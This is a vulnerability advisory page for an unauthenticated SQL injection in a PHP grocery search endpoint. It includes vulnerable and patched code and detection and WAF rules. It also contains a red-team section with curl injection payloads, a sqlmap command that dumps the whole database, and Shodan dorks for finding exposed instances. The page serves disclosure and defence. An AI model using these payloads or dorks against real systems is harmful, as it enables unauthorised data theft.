☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-65354

CVE-2025-65354 SQL Injection in Puneethreddyhc
📅 PUBLISHED: 2025-12-23 00:00 UTC 🔄 UPDATED: 2026-08-12 09:04 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65354 is a critical unauthenticated SQL injection vulnerability in PuneethReddyHC event-management 1.0, specifically within the /Grocery/search_products_itname.php endpoint. The sitem_name POST parameter is directly concatenated into SQL queries without sanitization or parameterization, allowing remote attackers to inject arbitrary SQL commands. With a CVSS score of 9.8, this flaw enables full database disclosure, credential theft, and potential backend compromise. No official patch exists, and the vendor has not responded to disclosure attempts. Public proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This application is a custom PHP project (not an NPM, PyPI, Go, or Ruby package). The vulnerability exists in the source code itself, not in a dependency. However, if the application is distributed via GitHub or other repositories, downstream consumers are directly affected. No package manager metadata is available.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Vulnerability does not cross trust boundaries.
  • Confidentiality (C): High (H) – Full database read access.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Potential for denial of service via destructive queries.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerable file /Grocery/search_products_itname.php processes a POST request containing the sitem_name parameter. The application likely constructs a SQL query similar to:

SELECT * FROM products WHERE item_name = '$_POST['sitem_name']'

Because the input is directly interpolated into the query string without escaping or parameterized statements, an attacker can break out of the string context by injecting a single quote ('). For example, submitting:

sitem_name=' OR '1'='1

Results in:

SELECT * FROM products WHERE item_name = '' OR '1'='1'

This returns all rows from the products table. More sophisticated payloads can extract data from other tables, enumerate the database schema, or even execute operating system commands if the database user has sufficient privileges (e.g., INTO OUTFILE).

The vulnerability is classified under CWE-89 (SQL Injection). The attack vector is HTTP POST, requiring no authentication, making it trivial to exploit.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// search_products_itname.php
$item_name = $_POST['sitem_name'];
$query = "SELECT * FROM products WHERE item_name = '$item_name'";
$result = mysqli_query($conn, $query);
// ...
?>

Patched Code (PHP):

<?php
// search_products_itname.php
$item_name = $_POST['sitem_name'];
$stmt = $conn->prepare("SELECT * FROM products WHERE item_name = ?");
$stmt->bind_param("s", $item_name);
$stmt->execute();
$result = $stmt->get_result();
// ...
?>

The patched version uses prepared statements with bound parameters, which ensures user input is treated as data, not executable code. This completely eliminates SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable instance of PuneethReddyHC event-management 1.0 (e.g., using Docker or a local LAMP stack).
  2. Ensure the /Grocery/search_products_itname.php endpoint is accessible.

Exploitation Steps:

  1. Basic Boolean-Based Injection:

    curl -X POST http://target/Grocery/search_products_itname.php \
      -d "sitem_name=test' AND '1'='1"
    

    If the page returns results, the injection point is confirmed.

  2. Extract Database Version:

    curl -X POST http://target/Grocery/search_products_itname.php \
      -d "sitem_name=' UNION SELECT @@version,2,3-- -"
    
  3. Dump All Tables:

    curl -X POST http://target/Grocery/search_products_itname.php \
      -d "sitem_name=' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
    
  4. Automated Exploitation with sqlmap:

    sqlmap -u "http://target/Grocery/search_products_itname.php" \
      --data="sitem_name=test" --batch --dump-all
    

PoC Payload (Public):

sitem_name=' OR 1=1-- -

Blue Team (Defensive)

Detection:

  • Monitor HTTP POST requests to /Grocery/search_products_itname.php for unusual sitem_name parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #, ').
  • Use WAF rules to block requests with SQL injection patterns.
  • Enable database query logging and alert on anomalous queries.

Mitigation:

  • Immediately apply the patched code (prepared statements) if possible.
  • If patching is not feasible, implement a Web Application Firewall (WAF) with SQL injection rules.
  • Restrict database user privileges to the minimum required (e.g., no FILE, CREATE, DROP privileges).
  • Conduct a full security audit of the application.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /Grocery/search_products_itname.php with sitem_name containing SQL metacharacters (', ", --, #, UNION, SELECT).
    • Outbound database connections from the web server to unexpected IPs (data exfiltration).
  • File IOCs:
    • Unexpected files in the web root (e.g., .sql dumps, webshells).
    • Modified PHP files (e.g., search_products_itname.php with injected backdoors).
  • Database IOCs:
    • Queries containing UNION, INFORMATION_SCHEMA, LOAD_FILE, INTO OUTFILE.
    • Unauthorized SELECT statements on system tables.

Detection Engineering

YARA Rule

rule CVE_2025_65354_SQLi_Payload {
    meta:
        description = "Detects SQL injection payloads targeting CVE-2025-65354"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65354"
    strings:
        $sqli1 = /sitem_name=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /sitem_name=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-65354 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against /Grocery/search_products_itname.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/Grocery/search_products_itname.php'
        cs-uri-query|contains|all:
            - 'sitem_name='
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in product names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65354 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/Grocery/search_products_itname.php";
    http_uri;
    content:"sitem_name=";
    http_client_body;
    pcre:"/sitem_name=[^&]*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-65354;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

  1. Immediate (Patch): Replace all dynamic SQL queries with prepared statements (parameterized queries) as shown in the patched code example.
  2. Short-Term (WAF): Deploy a Web Application Firewall with rules to block SQL injection patterns. Example ModSecurity rule:
    SecRule ARGS:sitem_name "@rx ['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)" \
      "id:10000002,phase:2,deny,status:403,msg:'SQL Injection blocked'"
    
  3. Long-Term (Secure Development): Implement input validation (whitelist allowed characters) and use an ORM or database abstraction layer that enforces parameterized queries.
  4. Monitoring: Enable detailed logging for all database queries and web server access logs. Alert on any SQL injection patterns.
  5. Access Control: Ensure the database user used by the application has minimal privileges (e.g., only SELECT, INSERT, UPDATE on specific tables, no DROP, CREATE, FILE).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Grocery"
http.html:"event-management"
http.html:"PuneethReddyHC"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65354/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.